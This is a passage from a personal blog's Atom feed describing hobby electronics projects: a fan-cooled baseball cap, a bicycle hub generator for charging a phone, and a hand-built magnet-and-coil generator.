    <content type="html" xml:base="https://ericiniguez.com/blog/fan-baseball-cap/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;july-2017&quot;&gt;July 2017&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#july-2017&quot; aria-label=&quot;Link to section: July 2017&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Mounted, soldered and wired a computer fan to the bill of a baseball cap to blow air on the wearer’s face. The computer fan was soldered to an on/off switch and 4xAA battery power supply.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Bike Hub Electromagnetic Generator</title>
    <link href="https://ericiniguez.com/blog/bike-hub-electromagnetic-generator/"/>
    <id>https://ericiniguez.com/blog/bike-hub-electromagnetic-generator/</id>
    <updated>2015-06-01T00:00:00-05:00</updated>
    <summary>Implemented an electromagnetic generator in a bicycle hub for charging a mobile device while the bicycle is being ridden.</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/bike-hub-electromagnetic-generator/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;june-2015&quot;&gt;June 2015&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#june-2015&quot; aria-label=&quot;Link to section: June 2015&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Implemented an electromagnetic generator in a bicycle hub for charging a mobile device while the bicycle is being ridden.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Electromagnetic Generator</title>
    <link href="https://ericiniguez.com/blog/electronmagnetic-generator/"/>
    <id>https://ericiniguez.com/blog/electronmagnetic-generator/</id>
    <updated>2012-03-01T00:00:00-05:00</updated>
    <summary>Crafted a generator with RadioShack magnets and copper wire mounted to Plexiglas panels cut with a rotary saw, wire saw, deburring tool and sandpaper…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/electronmagnetic-generator/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;march-2012&quot;&gt;March 2012&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#march-2012&quot; aria-label=&quot;Link to section: March 2012&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Crafted a generator with RadioShack magnets and copper wire mounted to Plexiglas panels cut with a rotary saw, wire saw, deburring tool and sandpaper. Soldered diode to metal pins soldered to copper wire. Diode is powered when the magnets are spun inside copper wire coil.&lt;/p&gt;
</content>
  </entry>
</feed>
